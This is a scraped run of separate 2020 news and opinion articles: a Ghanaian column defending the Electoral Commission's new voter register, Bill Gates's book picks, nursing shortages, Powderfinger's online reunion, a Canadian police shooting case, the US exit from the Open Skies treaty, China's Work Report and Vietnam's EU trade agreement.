The need to have a new system has become even more compelling because the current biometric system is unable to verify a number of voters electronically resulting in a high number of manual verification on voting day, which is largely unreliable and a potential source of dispute as it tends to compromise the integrity of the elections.



Also, the current biometric architecture does not have a facial recognition technology nor does it allow for a facial recognition add-on to be added. The new system the EC intends to acquire ahead of the 2020 elections will have a facial recognition as an additional feature for those whose fingers cannot be verified and thus reduce the high incidence of manual verification which often proves to be problematic and tends to compromise the credibility of our elections.



The new system will also significantly reduce if not completely eliminate the increasingly high identification failure rate by using new scanners and software with improved fingerprint capturing algorithm and the use of certified fingerprint image quality assessment software to ensure image quality. Registration officials will now, have real-time image quality feedback to improve capture.



Finally, the EC tells us that their staffs were not trained on the current solution per the contractual terms to enable the Commission takeover after the expiration of the contract. They say, their staffs are not able to, by themselves, update or enhance the software solutions at the time of the handing over.



The EC is currently building and enhancing in house capacity and recruiting skilled IT Professionals. However, the source code for the software solution is not available. It is in the possession of the vendor. It will be highly unwise on our part to continue to run a solution we do not have control over. This will be a huge risk to the Country and is akin to mortgaging our sovereignty to a foreign vendor. A case in point is the last elections in Kenya where the vendor of the solution travelled outside the country after the elections and locked up the data. This led to a re-run and violence, the EC said at a press conference it held recently.



WHY SHOULD GHANAIANS TRUST THE EC?



The Constitution of Ghana makes the EC the sole authority to administer public elections (including the registration of voters) in this country and also said, the EC, in the discharge of its mandate, is not subject to the direction of anybody or authority. Having regard to these explicit constitutional imperatives, the EC takes sole responsibility for the conduct of elections in Ghana, and so, if anything goes wrong, it is the EC that will be faulted and not any person or authority.



Nobody will fault the NDC and their Asiedu Nketia who cannot think beyond seeing Mr. John Mahama occupy the Jubilee House. Nobody will fault the CSOs a lot of whom become relevant only when they take controversial position on national matters. So, if the EC, being the body that will be held solely responsible for any election-mishap, tells us that it cannot conduct a credible election in December without acquiring a New Biometric Voter Solution, why should anybody who has no such responsibility seek to force the Commission to do what they clearly said they cannot do? Are we setting a trap for them to fall into and later blame them?



On any day, I will choose to believe the EC than any political party. In any case, to say you dont trust the EC is tantamount to calling for a civil war, because what that will mean is that if the EC conducts the elections (which will definitely happen), you are going to reject the outcome of same, and that, could prove very problematic and a recipe for chaos judging from the experience of other countries.



THE NDC-LED DEBATE ON THE PROPRIETY OF THE ECS C.I. THAT IS BEFORE PARLIAMENT



The NDC, you would recall, held a press conference recently accusing the EC of conspiring with the NIA to rig the 2020 elections for the NPP, and that, in furtherance of this conspiracy, the EC has failed to involve the NDC in its consultative processes leading to the compilation of a new register. The NDC alleges that the Commission had unilaterally, and at the blind side of the party [NDC], decided to remove the old voters ID cards and birth certificate from the requirements for a new voter registration.



The writer submits that the NDC had lied when it said, the EC deliberately failed to consult political parties before laying its proposed amendments to the Public Elections (Registration of Voters) Regulations, 2016 (C.I. 91) in Parliament. The facts are that, first of all, the EC invited all political parties to an IPAC meeting on March 25, 2020, primarily to discuss the Commissions proposed amendments to C.I. 91 on voter registration. However, the NDC failed to attend this IPAC meeting and they served official notice of their boycott in a letter they wrote to the EC on March 24, 2020 citing Covid-19 as their excuse.



Secondly, contrary to the NDCs claim that the EC did not inform the political parties that the said IPAC meeting was meant to discuss voter registration matters and that same could not also have been discussed as part of AOB, the Commissions invitation letter [dated March 19, 2020] to the political parties to attend the said IPAC meeting, a copy of which the writer has attached to this article, actually stated in clear terms that:



The agenda for the meeting are as follows:

1. Registration of voters [writers emphasis]

2. Any Other Business



So, obviously, voter registration was the main agenda for the meeting that the NDC boycotted. At the meeting, the parties made inputs following which the EC felt compelled to withdraw the initial proposed amendment it had laid before Parliament on March 16, 2020, in order to incorporate the inputs made by the parties at the IPAC meeting, which was duly done, whereupon it was re-laid on Tuesday, March 31, 2020. Clearly, the NDC had sat on its right for boycotting the meeting thereby losing a fine opportunity to make the case it purportedly made at the press conference.



Thirdly, on the NDCs allegation that the EC had taken out birth certificate from the requirements for voter registration, this again, is a palpable falsehood because birth certificate has, since 1994, NEVER been a requirement for voter registration in this country because of its suspicious means of acquisition. Of course, the EC could not also have maintained the current voters ID card as a requirement for new registration because that is the very card that has issues necessitating its replacement.



Finally, on Ghana Card, it is untrue, the NDCs claim that the EC unilaterally included the Ghana card as a requirement for voter registration in the new proposed amendments to C.I. 91. Indeed and in fact, the Ghana card is already a requirement for voter registration in C.I. 91 and it has been the case since 2012 predating the Jean Mensah-led EC.



DECEMBER 7 ELECTIONS IN THE MIDST OF COVID



There is no denying the fact that the outbreak of Covid-19 in the country has affected many things and has led to the postponement of many events. However, what Covid-19 cannot do is to make Ghana postpone its December elections, and any such contemplation can only be calamitous because of the constitutional injunctions. It can even be more calamitous than Covid-19 itself. Certainly, the nation will be plunged into a constitutional crisis after the expiration of the mandate of the first 4-years of President Akufo-Addo, on January 7, 2021, if elections are not held in December.



It is most likely that beyond January 7, 2021, if we are unable to hold elections, the exercise of Executive Authority of Ghana by President Akufo-Addo will be greatly undermined especially by members of the opposition. Even within the Presidents 4-year mandate, he sets up a committee on Covid, the NDC also sets up a committee on Covid. The President addresses the nation in a nationwide broadcast on Covid, Mr. John Mahama of the NDC also does same.



So, if the NDC can essentially purport to run a parallel administration in the country even before the expiration of the first 4-year mandate of President Akufo-Addo, you can imagine what they will do after that mandate has expired on January 7, 2021 and there has not been an election to extend it or otherwise. Everything shall be chaotic.



I am sure the President, being cognizant of this fact, coupled with his unparalleled fidelity to Constitutional Rule, was inspired to publicly disclose that he would not want to spend even a second at the presidency beyond the mandate given to him by the Ghanaian electorates. This means the President is more than committed to making sure that the December 7 polls come off in line with the constitutional imperatives.



So, if the election has to necessarily come off, then the election has to be conducted by the EC. And if the EC has to conduct the election, then the EC has to be allowed to rollout the necessary processes that will make it possible for the election to be held on December 7 since election is not an event but a process, and at the heart of this process is the compilation of a credible register that will engender public confidence. Covid cannot stop this process. It certainly cannot because the alternative is deadlier.



The nation cannot wait for Covid-19 to be over before holding elections. In any case, the World Health Organization (WHO) has recently said clearly that Covid-19 could become endemic like the human immunodeficiency virus (HIV) which will live with us for a much longer time. Accordingly, WHO is urging populations around the world to find a way of adjusting to live with the virus [Covid-19] just like how we are living with HIV.



Even if we were to play the devils advocate and assume for the sake of analysis, that, the EC cannot compile a new register because people cannot queue to register because of Covid, and so, the Commission should necessarily use the old register irrespective of the risk associated with that option, it is still not feasible. This is because the Commission will still have to register the over 1.3 million Ghanaians who have turned 18 [first time voters], all of whom have to queue to register in order to entitle them to exercise their constitutional right to vote; a right that cannot be taken away from them no matter the circumstances.



Again, this option will also mean that the 11 million plus voters on the nations electoral roll will have to go to designated EC centers to validate their details and be issued with special cards evidencing their eligibility to vote on December 7. Clearly, this option will also prove problematic if the argument against new voter registration is that it will make people congregate thereby compromising the Covid-19 health protocols on physical distancing.



Also worth mentioning is that, if it is possible for the EC to roll out certain protocols to allow this second option to be plausible and also for us to be able to vote on December 7, then the Commission can equally roll out the same protocols to conduct new voter registration especially because the EC has told us that without the new voters register, it will be practically impossible for the Commission to conduct the December polls. We should be comforted by the fact that the Commission has just released some fine protocols towards a safe and secure 2020 voter registration exercise.



CONCLUSION



Fellow Ghanaians, having regard to the foregoing, it is very clear that if the December 7, 2020 elections have to be held because of the constitutional imperatives, then the EC must necessarily acquire a new voter management system that will invariably lead to the compilation of a new register. Failure to hold elections in December 2020 will definitely plunge this country into constitutional crisis which will be more deadly than Covid-19. So, as the World Health Organization has advised, the sooner we adjust to live with the new world normal, the better for us.



The voice of a citizen NOT a spectator!!!



Assalamu alaikum!!!



Iddi Muhayu-Deen

Youth Activist/Columnist

#ForGodAndCountry

Source: Iddi Muhayu-Deen/ Youth Activist/Columnist/0245335197









Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority.

Featured Video
Have free time on your hands? Then let Bill Gates suggest five books to fill your days. Most take you deeper into thinking about our challenging times. At least one provides a mental escape. Bill writes:

Upheaval: Turning Points for Nations in Crisis, by Jared Diamond. Im a big fan of everything Jared has written, and his latest is no exception. The book explores how societies react during moments of crisis. He uses a series of fascinating case studies to show how nations managed existential challenges like civil war, foreign threats, and general malaise. It sounds a bit depressing, but I finished the book even more optimistic about our ability to solve problems than I started. More here.

Nine Pints: A Journey Through the Mysterious, Miraculous World of Blood. If you get grossed out by blood, this one probably isnt for you. But if youre like me and find it fascinating, youll enjoy this book by a British journalist with an especially personal connection to the subject. Im a big fan of books that go deep on one specific topic, so Nine Pints (the title refers to the volume of blood in the average adult) was right up my alley. Its filled with super-interesting facts that will leave you with a new appreciation for blood. More here.

A Gentleman in Moscow, by Amor Towles. It seems like everyone I know has read this book. I finally joined the club after my brother-in-law sent me a copy, and Im glad I did. Towless novel about a count sentenced to life under house arrest in a Moscow hotel is fun, clever, and surprisingly upbeat. Even if you dont enjoy reading about Russia as much as I do (Ive read every book by Dostoyevsky), A Gentleman in Moscow is an amazing story that anyone can enjoy. More here.

Presidents of War: The Epic Story, from 1807 to Modern Times, by Michael Beschloss. My interest in all aspects of the Vietnam War is the main reason I decided to pick up this book. By the time I finished it, I learned a lot not only about Vietnam but about the eight other major conflicts the U.S. entered between the turn of the 19th century and the 1970s. Beschlosss broad scope lets you draw important cross-cutting lessons about presidential leadership. More here.

The Future of Capitalism: Facing the New Anxieties, by Paul Collier. Colliers latest book is a thought-provoking look at a topic thats top of mind for a lot of people right now. Although I dont agree with him about everythingI think his analysis of the problem is better than his proposed solutionshis background as a development economist gives him a smart perspective on where capitalism is headed.
Now more than ever, nurses and midwives make up an essential and valued segment of the health profession. The World Health Statistics Report revealed that there are about 29 million of them on the planet, with nursing comprising the largest section of the worlds health profession.

The American Nurses Association stated that the number or registered nurse jobs available will be increasing through 2022, and the U.S. Bureau of Labor Statistics data concurs. They project that to prevent nurse shortages, 11 million more will be needed. It is without question that nurses and midwives will be in high demand in the coming years.

Nurses vs. Midwives

Nurses can work in medical facilities such as clinics, hospitals, surgery centers, residences, hospitals, and nursing homes. They are educated at universities and can become licensed practical nurses (LPN) or registered nurses (RN). Both must complete their educational programs and become licensed.

Midwives specialize in caring for mothers and babies during pregnancy, birth, and postnatal periods. Some are based at hospitals and clinics, while others have private practices. To become a midwife, an individual must complete a graduate degree in a certified program and then complete the American Midwifery Certification Board exam to become Certified Nurse-Midwives.

Crunching the Numbers

The following chart, at the end of the article, from the World Bank shows the number of nurses and midwives per capita (1000 people) in 50 countries. Interestingly, the top four are Scandinavian countries: Norway, Denmark, Switzerland, and Iceland. Their numbers range from around 16.3 to almost 18 nurses and midwives for every 1,000 people. After this, the next seven highest are all in Europe.

Canada is farther down, coming in at #14. The data showed that there is about 9.8 nurses and midwives for every thousand persons. The United States was even lower, ranking at #19, with an 8.5.

Canada and U.S. Nursing Shortages

The Canadian Nurses Association reported that there were 431,769 licensed nurses there in 2018 when the population was estimated to be 37,058,856. There are approximately 3.9 million nurses and midwives in the United States, with the population estimated at about 330,783,000. There are many factors that contribute to nursing shortages around the world. An Indeed.com article cited a report by Employment and Social Development Canada, which projected that R.N. employment needs would grow more than any other occupation from 2017 to 2026, without enough new nurses entering the field. Possible reasons for this included more interest in different careers and the fact that nursing wages have not gone up despite the shortage.

In the United States, some regions have surpluses while others are struggling to fill jobs. Reasons include female nurses leaving the profession after they have children; others experience burnout and quit for good. As the baby boom generation has aged, The U.S. has more residents over 65 than ever before. This means that 1) more nurses and nurse educators will be retiring, and 2) there will be more people needing healthcare. In 2011, there were 41 million Americans in this age group; in 2019, there were 71 million.

The Impact on Patients

Nursing and midwife shortages affect hospitals, care facilities, clinics, and patients. Sick people may be turned away from certain facilities if there is not adequate staff to treat them properly.; when nurses are overworked, they may not be able to give patients proper care and can also make errors. This can turn into tragic complications for patients and their families, not to mention severe repercussions for their workplaces. Working nurses who are trapped in this situation can be mentally and physically exhausted, with high job dissatisfaction.

Coming up with Solutions

Shortages of nurses and midwives is an ongoing problem throughout the world, and the U.S. National Library of Medicine National Institutes of Health (NCBI)termed it as a global health workforce challenge.

Based on these estimates, NCBI reported that there were 57 countries with critical shortages equivalent to a global deficit of 24 million doctors, nurses, and midwives. Although they wrote that there was no magic bullet, some policies and suggestions were spelled out. It was recommended that nurses should be provided with more opportunities to participate in decision making and to develop professionally. A focus on improving recruitment methods and retention were also mentioned. Other strategies included decentralized management, easier access to continuing education, safer working environments, and of course, better pay.

NCBI also looked at how health systems function and described how nurses could use their skills more effectively. This would involve workforce planning that reaches across disciplines and occupations, with the goal of aligning short- and long- term nurse staffing with varying workloads. This could help nurses achieve  and maintain- better work/life balances.
Powderfinger's Bernard Fanning has hinted there is some tension between the band members as they prepare to play their first concert in a decade on YouTube.

Speaking on the Today show on Friday, the 50-year-old frontman said the online reunion was the 'best circumstance' because it allowed the band members - Ian Haug, Jon Coghill, John Collins and Darren Middleton - to reunite in separate rooms.

'We know that people have been asking us every time we do an interview, actually for the last 10 years, when [we're] getting back together and we know there's some enthusiasm for it. But we just thought we would be able to help out in this circumstance,' he explained.

'It was an unusual thing to do': Powderfinger frontman Bernard Fanning hinted at tension in the band during an appearance on the Today show Friday

'And possibly the best circumstances for the five of us to get together, is in five separate rooms,' he added.

His appearance on the Channel Nine breakfast show comes after Powderfinger announced their one-off reunion show earlier this month.

The Australian rock band will headline their own coronavirus benefit concert, titled One Night Lonely, that will stream live on YouTube on Saturday.

The group, who called it quits in 2010, are hoping to raise money for both struggling workers in the music industry and a mental health charity.

Oh, dear! Bernard (top right) said the band's upcoming YouTube reunion was the 'best circumstance' because it allowed the members to reunite in separate rooms

'We are reuniting for an exclusive @YouTube performance straight from our home studios to your living room titled One Night Lonely,' they tweeted.

'Join us for a good cause to raise funds for @SupportAct & @BeyondBlue.'

They told fans to sign up at Powderfinger.com for details on how they can tune in.

Reunion: The YouTube concert was announced just days after the Brisbane five-piece had strongly hinted at a reunion on Twitter, writing: 'Testing... is this thing on?'

The YouTube concert was announced just days after the Brisbane five-piece had strongly hinted at a reunion on Twitter, writing: 'Testing... is this thing on?'

Powderfinger split in 2010, after the completion of their last album, Golden Rule

They said at the time: 'We feel that we have said all that we want to say as a musical group. We firmly believe that it is our most complete and satisfying album.

'And [we] can't think of a better way to farewell our fans than with music that we all believe in and also with, hopefully, our best tour to date.'
WATERLOO REGION  Two men confronted each other alone in a ditch beside a highway: a break-in suspect fleeing police, and the officer who went there to arrest him.

Show me your hands! Sgt. Richard Dorling shouted at Joshua Hannaford. Dont move! Put your hands in the air now!

Dorling fired six shots at Hannaford. One bullet hit Hannaford in the back of his thigh, wounding him.

It happened loudly on March 31, 2018, beside Highway 401 near Old Mill Road in Cambridge. It ended quietly Friday in a virtual courtroom during a telephone hearing that neither man attended.

Crown prosecutor Ian Bulmer withdrew an attempted murder charge against Dorling, clearing the veteran Waterloo Regional Police officer of wrongdoing after a judge did the same in March.

Its a huge sense of relief for him, Mark Egers, president of the Waterloo Regional Police Association, said after speaking to Dorling.

He was protecting his own life and the lives of the public. And he never wavered from that. He always believed that.

Bulmer told the court it would be unfair to try Dorling after an earlier trial heard the same witnesses and evidence that another trial would hear.

Justice Toni Skarica found in the earlier trial that Dorling did nothing wrong in shooting Hannaford. It was Hannaford who was on trial then and he argued that Dorling used excessive force to arrest him.

Skarica ruled: The evidence before me establishes that Sgt. Dorling, in an act of bravery and courage, was prepared to risk his life to confront an individual who he thought was armed with a fully loaded firearm, in order to protect the community and thereby do his sworn duty.

Hannaford, 31, was convicted of six offences, including possession of stolen firearms.

Ontarios Special Investigations Unit charged Dorling, 45. Its the first time the civilian agency charged an officer with attempted murder after investigating a police shooting.

We believe he shouldnt have been charged in the first place, Egers said. I would call the investigation negligent.

Egers said an attempted murder charge deserves a thorough and in-depth investigation to prove either guilt or innocence. And that was not done in this case. Where is their accountability? Where is the oversight for them?

The SIU declined an interview. It would not answer questions about its investigation or its decision to lay a charge.

The Crowns decision to withdraw the charges was not based on any criticism of the SIU investigation, the agency said in a statement. The SIU respects the decision of the Crown, and will make no further comment on it.

Prosecutor Bulmer told the court the Skarica ruling is strong and clear enough to end the prosecution. It would be unfair to call on the same witnesses and evidence a second time to seek a different outcome, he said.

Police officers in the field face significant, complex challenges that require split-second decision-making, Chief Bryan Larkin said in a statement.

The Waterloo Regional Police Service is pleased that this matter has been resolved through the withdrawal of charges by the independent, out-of-town prosecutor assigned to the case. We are even more pleased that Sgt. Dorling can move forward with his career and put this matter behind him.

Dorling has continued to earn his salary since he was charged in November 2018, but he has not been on active duty.

Hes eager to get back to work, Egers said.

All other charges against Dorling are also withdrawn. They include aggravated assault, discharging a firearm with intent and discharging a firearm recklessly.

Its important to stress that there was nothing criminal in his conduct, said Bernard Cummins, Dorlings lawyer. His actions were entirely focused on protecting himself and the public.

Egers, of the police association, said he supports civilian oversight of police conduct to ensure public trust.

There also has to be trust that the investigation is going to be thorough. I believe in this case, from the facts that came out, that a thorough investigation wasnt completed, he said.

Prosecutor Bulmer said the Crown has a higher threshold to sustain a prosecution  prosecutors must see a reasonable prospect of conviction  than the SIU has in laying a charge.

In clearing Dorling of wrongdoing, Justice Skarica fully and cogently addressed the factual issues that would be in issue if the prosecution against Sgt. Dorling were to proceed, Bulmer said.
 Flash

U.S. President Donald Trump on Thursday said the United States is withdrawing from the Treaty on Open Skies, the latest move to abandon a major international arms control agreement.

"Russia didn't adhere to the treaty, so until they adhere we will pull out," Trump told reporters at the White House when asked about the decision to withdraw from the treaty.

"But there is a very good chance we will make a new agreement or do something to put that agreement back together," Trump added, without elaborating.

The Washington Post reported that Christopher Ford, assistant secretary of state for international security and nonproliferation, would inform Moscow of the decision during his Thursday's lunch with Russian Ambassador Anatoly Antonov.

Analysts noted that the U.S. pullout, rumored for months, would cause grievance among European allies who are also participating in the treaty. The withdrawal would formally take place in six months, based on the treaty's withdrawal terms.

The treaty, which became effective in 2002, allows its states-parties to conduct short-notice, unarmed reconnaissance flights over the others' entire territories to collect data on military forces and activities.

Currently, 35 nations, including Russia, the United States, and some other members of the North Atlantic Treaty Organization, have signed it. Kyrgyzstan has signed but not ratified it yet.

The treaty is aimed at building confidence and familiarity among states-parties through their participation in the overflights. Over 1,500 Open Skies flights have been conducted since the deal entered into force in 2002, according to media reports.

The United States and Russia have blamed each other for noncompliance with the treaty. Washington and Moscow have each put a few limits on flights over their territories -- Hawaii and some other U.S. bases have been off-limits, as have Kaliningrad, among others, according to media reports.

It was the latest in a string of moves by the Trump administration to withdraw from a major international treaty. Washington abandoned the Intermediate-Range Nuclear Forces Treaty with Moscow last year.

The pullout of the Treaty on Open Skies further raised doubts over whether the Trump administration would extend the New Strategic Arms Reduction Treaty (New START), the last remaining nuclear arms control treaty in force between Washington and Moscow.

The New START, which expires next February, can be extended for at most five years with the consent of the two countries. Russia has expressed willingness to extend the treaty, while the Trump administration has yet to officially reply.
The Chinese Communist Party generally doesnt set targets it cant meetor at least fudge with a modicum of credibility. Skepticism over official statistics aside, of the 38 objectives set out in its 2019 Work Report, all were met. Growth at 6.1% fell within the 6% to 6.5% prediction; 2.5 million more new jobs were created than the 11 million aimed for; more than the targeted 10 million people were lifted out of poverty. In fact, only one Work Report target has not been hit since foreign trade growth fell shy of expectations in 2015, according to the Trivium analysis firm.

And so, following a 6.8% first quarter contraction due to the coronavirus pandemic, all eyes were on Premier Li Keqiang on Friday when he delivered the 2020 Work Report at the start of the National Peoples Congress (NPC)Chinas rubberstamp annual parliament. The upshot: China would not set a specific target for growth this year, said Li, the first time in three decades it failed to do so. We must redouble our efforts to minimize the losses resulting from the virus, he added.

Its another bleak sign for the global economy, given the worlds top trading nation has weathered COVID-19 better than most. Instead of growth, employment now appears the focus of Chinas macroeconomic policy, with Li setting out the goal of adding 9 million urban jobs over the year. The state also aims to eliminate rural povertya chimeric ambition given poverty is considered a relative rather than absolute standard these daysand cut business taxes by $350 billion, while keeping consumer inflation to 3.5%.

In laying out these policies to cadres sporting medical masks in Beijings cavernous Great Hall of the People, Li emphasized that efforts to stymie the viruss spread had, and would, continue to take priority. This is a price we must pay, and a price worth paying, he said.

Story continues

Lis approach wasnt entirely unexpected. In the first four months of 2020, Chinas fiscal revenues fell 14.5% year-on-year, the Ministry of Finance said Monday. And with families around the world tightening their belts, sales of the kind of low-cost fashion and consumer items China previously exported with vigor will take a huge hit. Domestic consumption, too, is struggling as Chinese shoppers spying lean times ahead adopt more prudent habits. The nations budget deficit will swell by 1 trillion renminbi ($140 billion) this year to aid recovery, Li said.

Chinas economic recovery rate must reach the highest level in the world, Hu Xijin, editor of Chinas state-run Global Times, tells TIME. This is the strong expectation of the entire Chinese society.

Trade tensions

Beijings masterplan appears to strengthen state-run enterprises to secure jobs in the short-term and prioritize investment in new technologies to ensure long-term advantage. Due to be approved at the NPC is a proposal to invest some 10 trillion renminbi ($1.4 trillion) over six years to 2025 in developing key technologies from 5G networks to artificial intelligence. The investment drive echoes Chinas controversial Made in China 2025 plan to dominate strategic industries, thus reducing its dependence on foreignparticularly Americantechnology.

This is a special priority after the Trump administration ramped up efforts to stop Chinese firms such as Huaweithe worlds top telecoms equipment supplierfrom using American components, particularly semi-conductor chips. On May 16, the Commerce Ministry closed a loophole Huawei had been exploiting to keep using American components. The Shenzhen-based firm has a 12-month stockpile of those crucial parts, according to reports, but needs to find other sources pronto as tech decoupling gathers pace. According to a report by research group the Hinrich Foundation, the intensifying nature of the U.S.-China tech war  has sparked a flurry of protectionist policies in Washington and elsewhere.

Yet there was no mention of the trade war in Lis 23-page Work Report, other than to reconfirm Beijings commitment to the phase one deal struck with Washington last year. Today, the worlds two biggest economies have hiked tariffs on $470 billion of goods. Given President Trumps broadsides over the origins of COVID-19, and economic pressures on both nations economies, there are significant doubts whether the existing agreement is salvageable.

A cleaner wearing protective gear sprays disinfectant along a production line at a Mercedes Benz automotive plant during a media tour organised by the government in Beijing on May 13, 2020, as the country's industrial sector starts again following shutdowns during the COVID-19 coronavirus outbreak. | Wang Zhao/AFP via Getty Images

On Tuesday, Li signaled that American firms are still welcome in China by writing a congratulatory note to U.S. industrial conglomerate Honeywell, which opened its new emerging market headquarters and innovation center in the coronavirus epicenter of Wuhan. Investments of this nature dont typically merit personal messages from top leaders, though given spiraling Sino-U.S. relations, Lis letter pointedly set out that encouraging foreign companies to increase investment in and cooperation with China will not change.

Economists are meanwhile generally bullish about Chinas prospects. We do think that China will stage a faster recovery than most other major economies, says Julian Evans-Pritchard, senior China economist for Capital Economics, in a briefing note. That said, we think the government is right not to be too ambitious about the speed of the rebound.

Its good news for President Xi Jinping, who had been under pressure for Chinas fumbled early response to the outbreak, including the detention of whistleblower doctors. But since then, Xi has built on the failures of Western democracies and the relative success in containing the virus in China, says Prof. Steve Tsang, director of the SOAS China Institute at the University of London. I dont think Xis position is at any risk.

Showdown over Hong Kong

Xi clearly feels confident enough to push controversial national security legislation through the NPC to curb secession, sedition, terrorism and foreign interference in freewheeling Hong Kong, which has been wracked by almost a year of increasingly violent anti-Beijing protests. Delegates also heard strong words for self-ruling Taiwans independence movement.

National security is the bedrock underpinning a countrys stability, NPC spokesman Zhang Yesui told assembled media in Beijing on Thursday. Safeguarding national security serves the fundamental interests of all Chinese people, including our Hong Kong compatriots.

Hong Kongs Basic Law (the territorys mini-constitution) says that its own lawmakers are required to pass a national security law, but an attempt to do so in 2003 had to be withdrawn after what were then the largest protests the financial hub had seen. No attempt has been made since. A clearly frustrated Beijing is now effectively bypassing Hong Kongs legislature and a motion to draw up the new law is set to be approved by the close of the NPC on May 28. Critics say it has worrying implications for political freedom in the enclave. [They are] completely destroying Hong Kong, said Dennis Kwok, a pro-democracy lawmaker.

Pro-democracy protesters hold black placards that translate as

The topic is also set to become the latest bugbear between China and the U.S., with senior figures on both sides of Washingtons political aisles opposing the encroachment on Hong Kongs autonomy. Last year, Trump signed the Hong Kong Human Rights and Democracy Act that linked the territorys special trade status to its continued autonomy from Beijing. U.S. senators are now set to introduce a bipartisan bill to sanction Chinese officials and entities who enforce the new national-security legislation, reports the Wall Street Journal. Attempting to circumvent the [Hong Kong] legislature shows a complete disrespect for the rule of law, tweeted Democratic House Speaker Nancy Pelosi.

Renewed protests have already began cropping up in Hong Kong after the relaxation of weeks of coronavirus lockdown. Opposition to the new legislation is expected to be particularly fierce as the anniversary of the Tiananmen Square crackdown approaches on June 4a date traditionally marked by defiant candlelit vigils in the only place in China allowed to hold them, at least for the time being. The citys democracy movement is meanwhile hoping to repeat its landslide success in last Novembers local council elections in polls for the legislature in September. It aims to take control of the chamber and stymie the Beijing-backed administrations attempts to govern.

Bringing Hong Kongs protesters to heel seems to be one NPC pledge that cant be easily fudged.
Economic cooperation between Vietnam and the European Union (EU) is about to turn a new page in history as the Vietnamese National Assembly is moving very close to ratifying the EU-Vietnam Free Trade Agreement (EVFTA).

In that context, Vietnamese businesses, especially those in the areas of garment & textile, leather & footwear, and agro-forestry and fishery exports, should keep themselves ready when the avenue for trade with the EU is connected.

A boost for post-pandemic export recovery

The EVFTA is expected to create a big push for Vietnams exports to the vast EU market, particularly for the aforementioned commodities, with which Vietnam has many competitive advantages. Accelerating exports to the EU is one of the important solutions that the Vietnamese Government is determined to promote in overcoming the difficulties for the economy due to negative impacts from COVID-19.

Nguyen Thi Thu Trang, Director of the WTO and International Trade Centre under the Vietnam Chamber of Commerce and Industry (VCCI), said that market demand has declined amidst the complicated developments of the pandemic around the world, but it will possibly hike when the disease has passed. Specifically, when the EVFTA takes effect, it will drive enterprises to re-boost their export activities. Therefore, businesses need to closely monitor the COVID-19 situation in order to introduce appropriate production and business plans, as well as shift the form of trade promotion towards utilising online advertising and connection to maintain and develop their markets, thus ensuring that business activities will be restored soon after the disease stoppage.

Vietnams trade missions in the EU, Belgium and Luxembourg recently recommended that Vietnamese export companies should consider the manufacturing and reserving of goods to meet orders from the EU when favourable conditions come. In the near future, if the pandemic is controlled and the EVFTA comes into effect, the factors negatively impacting Vietnams exports to the EU will be reduced. Garment & textile products  one of the items benefitting the most from the EVFTA  will be in good hands when the EU lifts coronavirus lockdowns. Notably, after this crisis, the market may have many changes, both in the size of orders and the ways to conduct activities. It is predicted that EU businesses will significantly change the manner in which they carry out their import-export activities, which requires Vietnamese garment & textile exporters to stay updated on the situation and make timely adjustments. In addition, industries that are less dependent on the supply chain, such as agricultural products, will get benefits immediately after the EVFTA comes into force.

A favourable factor is that the economic structures of Vietnam and the EU have no direct competition, but rather complementary competition. Vietnams strength goods are not the strengths of the EU and vice versa. However, according to Nguyen Thi Thu Trang, Vietnamese firms will have to bear certain costs to adjust their production. For example, to meet the rules of origin under the EVFTA, businesses must change the supply of raw materials, from abroad to domestic sources. Domestic supplies will cost more, but this will give enterprises an advantage when exporting their products to the EU.

Opportunities to diversify markets

Recently, the Multilateral Trade Policy Department (under the Ministry of Industry and Trade) announced that all preparations have now been completed. Businesses should also ready themselves, because as long as the EVFTA is approved by the Vietnamese NA and the two sides completes the notification process as prescribed, the agreement will officially take effect for both the EU and Vietnam.

The group of experts at the RMIT University Vietnam stated that it is high time for Vietnam to diversify its trading partners in a stronger manner to reduce dependence on one or two key markets regarding both imports and exports. The EVFTA is an essential factor in that process, especially as the global supply chain has been severely affected by the decline in production and trade activities due to COVID-19.

For such an open economy with a high trade-to-GDP ratio as Vietnam, problems related to fluctuations can escalate rapidly, particularly when import and export activities have an important but unsustainable linkage with large markets such as China. Regarding the US market, Dr. Nguyen Quang Trung (RMIT University Vietnam) said Vietnams high and constantly growing trade surplus with the US may also be unsustainable, and could even fall into a difficult situation, as domestic businesses have not yet mastered the main stages in the global value chain. In recent years, Vietnam has constantly reported a trade deficit with China, while trade surplus with the US is on an increasing momentum. Building an overall balanced trade account will help the economy become more stable and enhance its resilience against peripheral shocks like the COVID-19 pandemic.

It remains unclear when the current global coronavirus crisis is over and when its indirect effects on the economy will be addressed. Therefore, experts emphasised an urgent need for the Vietnamese economy to promptly seize opportunities and take actions to diversify the markets, thereby reducing the severity of risks faced. In this regard, the EVFTA may be vital, alongside other international deals such as the Comprehensive and Progressive Agreement for Trans-Pacific Partnership (CPTPP).

Making sound preparations for long-term benefits

According to Dr. John Walsh (RMIT University Vietnam), the EVFTA is the most stable agreement for Vietnam because it sets stricter rules, which all partners are required to abide by. That means there will be fewer opportunities for countries to pursue short-term gains, whether intentional or not. The new-generation FTAs will also give Vietnam the chance to enhance its position on the global trade map, beyond advantages such as low labour costs or abundant agricultural resources, to work towards technology transfer and taking advantage of skills of young labour force. The competitiveness of Vietnams streng products will be further strengthened as the energy industry is transformed to meet low carbon emissions standards. Moreover, when the Vietnamese economy and consumers become familiar with imported goods from the EU in new areas, the retail and distribution industry will be empowered to prepare to welcome other products in similar categories from around the world.

Dr. Nguyen Quang Trung said that Vietnam is the second ASEAN member nation to sign an FTA with the EU. However, such determination needs to be accompanied by fast, decisive and reliable actions to help the economy to thrive further. Seven years after the EVFTA comes into effect, the EU will eliminate more than 99% of tariff lines, equivalent to more than 99% of Vietnams export revenue to this market. Vietnamese companies will also benefit from superior EU products at low prices and can use them in their production processes, thereby improving output and profits of Vietnams export goods. As product competitiveness increases, Vietnam will have stronger foundations to boost trade through the harmonisation of legal conditions, rules of origin, and customs management and administrative provisions, as well as the recognition of each others appropriate standards and regulations. However, Vietnam will also face challenges from the requirements of new agreements. The private sector must be prepared to meet the challenges of upgrading supply chains and value chains, aiming to ensure that all links in the chains will best comply with international practices.

According to the Ministry of Planning and Investment, the EVFTA is expected to help Vietnams export revenue to the EU expand by 42.7% by 2025 and 44.37% by 2030 compared to the no-deal scenario. In addition, Vietnams total export turnover is expected to grow by an average of 5.21-8.17% in the first five years of implementing the agreement, 11.12-15.27% in the next five-year period, and 17.98-21.95% for the subsequent five years.

Nhan Dan
